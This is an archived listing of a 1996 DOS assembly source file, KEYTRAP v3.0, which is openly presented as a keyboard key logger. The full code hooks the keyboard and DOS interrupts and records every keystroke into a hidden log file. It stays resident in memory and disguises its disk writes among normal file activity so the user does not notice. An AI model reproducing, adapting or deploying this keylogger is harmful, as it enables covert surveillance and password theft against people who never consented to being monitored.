home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KEYTRAP3.ZIP / keytrap3.asm < prev    next >
Assembly Source File  |  1996-02-19  |  12KB  |  312 lines

  1. ;
  2. ; KEYTRAP v3.0 - Keyboard Key Logger
  3. ; By dcypher (dcypher@mhv.net)
  4. ;
  5. ; http://frosted.mhv.net/keytrap.html
  6. ;  
  7. ; Usage: KEYTRAP (options MUST be installed before you compile)
  8. ;
  9. ;        This version of Keytrap will constantly log keys.
  10. ;        It will NOT stop after a certian amount of keys.
  11. ;        The only 2 options that you must install before
  12. ;        compiling this source are the complete dir\logfile,
  13. ;        and the size limit of the log file. The size limit
  14. ;        must be in HEX format using 2 words.
  15. ;         
  16. ;        The default options are "C:\KLOG" as the complete
  17. ;        directory and log file name, and the default log 
  18. ;        file size limit is set to 2 megs (x1E8480 - HEX).
  19. ;
  20. ;        The size of the log file is ONLY checked when the 
  21. ;        program first installs. If the size exceeds the limit 
  22. ;        you specify here, the log file is deleted and a new 
  23. ;        one will be created (hidden).
  24. ;
  25. ; WARNING! - Options MUST be installed before compiling.
  26. ;
  27. ;------------------------------------------------
  28.                         ;
  29.     .286                                    ; 286 or better
  30.     .model small                            ; 
  31.     .code                                   ; 
  32.     org     100h                            ; 
  33.                         ;
  34. begin:  jmp     install                ;
  35.                         ;
  36. ;================================================               
  37.                         ;
  38. db      '  dcypher@mhv.net / keytrap v3.0  '    ;
  39.                         ;
  40. buf             db 401 dup (0)                  ; 400 byte buffer
  41. bufptr          dw 0                            ;  +1 for luck
  42.                         ;
  43. hide            db 0                ; save int21 function call
  44. handle          dw 0                            ; logfile handle
  45. control         db 0                ; control which INT to use
  46. must_write      db 0                            ; must-write flag
  47. using_21        db 0                ; already doing an int-21
  48.                         ;
  49. old_9a_off      dw 0                ;  
  50. old_9a_seg      dw 0                            ;
  51.                         ;
  52. old_9b_off      dw 0                ;
  53. old_9b_seg      dw 0                            ;
  54.                         ;
  55. old_21_off      dw 0                            ;
  56. old_21_seg      dw 0                            ;
  57.                         ;
  58. datasegm        dw 0                            ; save data-segment (here)
  59.                         ;
  60. ;------------------------------------------------ **** OPTIONS ****
  61.                         ; 
  62. logfile        db 'c:\klog',0            ; <dir\logfile>
  63.                         ;
  64. logH            dw 0001Eh                       ; log file size 
  65. logL            dw 08480h                       ; log file size 
  66.                         ;
  67. ;==============================================================================
  68.                         ;
  69. int_9A: pushf                                   ; 
  70.     pusha                                   ; 
  71.     push    es                 ;
  72.         push    ds                              ; 
  73.     mov     ds, datasegm                    ; we are here
  74.                         ;
  75.     cmp     control, 1            ; use this one ?
  76.         je      A91                ;
  77.         call    pkey                ; process key (scancode) 
  78.                           ;
  79.    A91: pop     ds                              ; 
  80.     pop     es                              ;
  81.     popa                                    ;
  82.     popf                                    ;
  83.     jmp     dword ptr old_9a_off            ; 
  84.                         ;
  85. ;================================================
  86.                         ; 
  87.   pkey: cmp     bufptr, 400                     ; buffer limit reached ?
  88.     jae     pk2                             ;
  89.                         ;
  90.     in      al, 60h                         ; get scancode
  91.                         ;
  92.     cmp     al, 39h                         ; get downstroke and only 
  93.     ja      pk2                             ; as far as spacebar !!
  94.         cmp     al, 2Ah                ; NO LOGGING of sc's > 39h
  95.         je      pk2                ; don't log shift
  96.         cmp     al, 36h                ; (both right and left)
  97.         je      pk2                ; don't log shift
  98.                         ;
  99.         push    0                ;
  100.         pop     es                ;
  101.         mov     ah, byte ptr es:[417h]        ; get shift status
  102.         test    ah, 43h                ; test for both shift keys
  103.         je      pk1                    ; and cap-lock active
  104.                         ;
  105.         add     al, 80h                ; show shift or cap-lock
  106.    pk1: mov     di, bufptr                      ; in logfile
  107.     mov     buf[di], al                     ; place scancode in buffer
  108.     inc     di                              ;
  109.     mov     bufptr, di                      ; save buffer pointer
  110.         mov     must_write, 1            ; try to write buffer when 
  111.                         ; in int 21
  112.    pk2: ret                    ;
  113.                         ;
  114. ;================================================
  115.                         ;
  116. int_9B: pushf                                   ; 
  117.     pusha                                   ; 
  118.     push    es                              ; 
  119.     push    ds                              ;
  120.     mov     ds, datasegm                    ; we are here
  121.                         ;
  122.         cmp     control, 0            ; use this one ?
  123.         je      B91                   ; (not really needed)
  124.         call    pkey                ; process a key (scancode)
  125.                         ;
  126.    B91: pop     ds                              ; 
  127.     pop     es                ;
  128.     popa                                    ;
  129.     popf                                    ;
  130.     jmp     dword ptr old_9b_off            ; 
  131.                         ;
  132. ;==============================================================================
  133.                         ;
  134. int_21: pushf                                   ; 
  135.     pusha                                   ;
  136.     push    es                              ;
  137.     push    ds                              ;
  138.     mov     ds, datasegm                    ; here we are
  139.                         ;
  140.         cmp     ax, 0ffffh            ; check if already installed
  141.         je      D21                ; 
  142.                         ;
  143.     cmp     using_21, 1                     ; might need to call an
  144.     je      C21                             ; int-21 here so jump if
  145.     mov     using_21, 1                     ; called from below
  146.         mov     hide, ah            ; save function # for hideing
  147.                         ;
  148.         call    switch                 ; always control the int 9's
  149.                         ;
  150.     cmp     must_write, 1                   ; need to write ?
  151.     jne     B21                             ;
  152.         cmp     bufptr, 400            ; push a write when buffer
  153.         jae     A21                ; is full
  154.                         ;
  155.         cmp     hide, 3Fh             ; disk read
  156.         je      A21                ; (hide buffer write)
  157.         cmp     hide, 40h             ; disk write
  158.         je      A21                ; 
  159.         jmp     B21                ; can't hide, try another time
  160.                         ;
  161.    A21: call    saveb                           ; write buffer
  162.                         ;
  163.    B21: mov     using_21, 0                     ; no int-21 calls anymore 
  164.    C21: pop     ds                              ; 
  165.     pop     es                              ;
  166.     popa                                    ;
  167.     popf                                    ;
  168.     jmp     dword ptr old_21_off            ; 
  169. ;------------------------------------------------
  170.    D21: pop    ds                ; already installed !
  171.         pop    es                ;
  172.         popa                    ;
  173.         popf                    ;
  174.         mov     ax, 1                ; show installed
  175.         iret                    ;
  176.                         ;
  177. ;==============================================================================
  178.                         ;
  179. switch: mov     ax, 3509h                       ; 
  180.     int     21h                             ;
  181.     cmp     bx, offset int_9A               ; everything ok with 9A ? 
  182.     jne     sw1                             ; check offset
  183.         mov     control, 0            ; show who has control 
  184.         ret                        ;
  185.                                ;
  186.    sw1: cmp     control, 1            ; 9B already in use ?
  187.         je      sw2                ; yes, don't do anything
  188.         mov     ax, 3509h            ;
  189.         int     21h                ;
  190.         mov     old_9b_seg, es            ;  
  191.         mov     old_9b_off, bx            ;
  192.         mov     ax, 2509h            ;
  193.         lea     dx, int_9B            ;
  194.         int     21h                ; use 9B instead of 9A !
  195.         mov     control, 1            ; show who has control
  196.    sw2: ret                                     ; 
  197.                         ;
  198. ;------------------------------------------------
  199.                         ;
  200. saveb:  mov     ax, 3d01h                       ; 
  201.     lea     dx, logfile                     ;
  202.     int     21h                             ; open logfile, r/w
  203.     jc      probw                           ;
  204.     mov     handle, ax                      ; 
  205.     mov     bx, ax                          ;
  206.     mov     ax, 4202h                       ;
  207.     xor     cx, cx                          ;
  208.     xor     dx, dx                          ;
  209.     int     21h                             ; point to eof
  210.     jc      probw                           ;
  211.     mov     ah, 40h                         ; 
  212.     mov     bx, handle                      ;
  213.     mov     cx, bufptr                      ;
  214.     lea     dx, buf                         ;
  215.     int     21h                             ; write buffer
  216.     jc      probw                           ;
  217.     mov     ah, 3Eh                         ; 
  218.     mov     bx, handle                      ;
  219.     int     21h                             ; close logfile
  220.     jc      probw                           ;
  221. ;------------------------------------------------
  222.                         ;
  223.         mov     must_write, 0                   ; no need to write anymore
  224.     mov     bufptr, 0                       ; buffer pointer back to 0
  225.                         ;
  226. probw:  ret                                     ; try again another time
  227.                         ; (if problem writing)
  228. ;==============================================================================
  229. ;==============================================================================
  230.                         ;
  231. install:mov      ax, 0ffffh            ; 
  232.         int     21h                ; already installed ?
  233.         cmp     ax, 1                ;
  234.         je      bye                ;
  235.                         ;
  236.         call    clog                ; check or create logfile
  237.                         ;
  238.         mov     ax, 3509h                       ; 
  239.     int     21h                             ;
  240.     mov     old_9a_off, bx                  ; save old int 9
  241.     mov     old_9a_seg, es                  ;
  242.     mov     ah, 25h                         ; 
  243.     lea     dx, int_9A                      ;
  244.     int     21h                             ; hook only 9A to start
  245.                         ;
  246.     mov     ax, 3521h                       ; 
  247.     int     21h                             ;
  248.     mov     old_21_off, bx                  ; save old int 21
  249.     mov     old_21_seg, es                  ;
  250.     mov     ah, 25h                         ; 
  251.     lea     dx, int_21                      ;
  252.     int     21h                             ; point to new int 21
  253.                         ;
  254.         mov     datasegm, ds            ; save this datasegment area
  255.                         ; for later use in the ISR's
  256.     mov     bx, offset install              ; 
  257.     mov     ax, 3100h                       ;
  258.     mov     dx, bx                          ;
  259.     mov     cl, 04h                         ;
  260.     shr     dx, cl                          ;
  261.     inc     dx                              ;
  262.     int     21h                             ; end / save above install
  263.                         ;
  264.    bye: mov    ah, 4Ch                ; no installation
  265.         int     21h                ; just end
  266.                         ;
  267. ;==============================================================================
  268.                         ;
  269.   clog: mov      ax, 3D01h            ;
  270.         lea     dx, logfile            ;
  271.         int     21h                ; open the file
  272.         jc      clog3                ;
  273.         mov     handle, ax            ; good open, save handle
  274.                         ;
  275.         mov     ax, 4202h                       ;
  276.     mov     bx, handle                      ;
  277.     xor     cx, cx                          ;    
  278.     xor     dx, dx                          ;    
  279.     int     21h                             ; mov pointer to eof
  280.                         ;
  281.     cmp     logH, dx                        ; check size
  282.     ja      clog4                           ; size ok
  283.     cmp     logH, dx                        ;
  284.     je      clog1                           ;   
  285.     jmp     clog2                           ; must be below, not ok
  286.  clog1: cmp     logL, ax                        ;
  287.     ja      clog4                           ; size ok
  288.                         ;
  289.  clog2: mov     ax, 4301h                       ; 
  290.     lea     dx, logfile                     ;
  291.     xor     cx, cx                          ;
  292.     int     21h                             ; change file mode
  293.     mov     ah, 41h                         ;
  294.     lea     dx, logfile                     ;
  295.     int     21h                             ; delete file
  296.                         ;
  297.  clog3: mov     ah, 3Ch                ; create new
  298.         mov     cx, 02h                ; (hidden)
  299.         lea     dx, logfile            ;
  300.         int     21h                ;
  301.         mov     handle, ax            ;
  302.                         ;
  303.  clog4: mov     bx, handle            ; close logfile handle
  304.         mov     ah, 3Eh                ;
  305.         int     21h                ;
  306.         ret                    ;
  307.                         ;
  308. ;==============================================================================
  309.  
  310. end     begin
  311.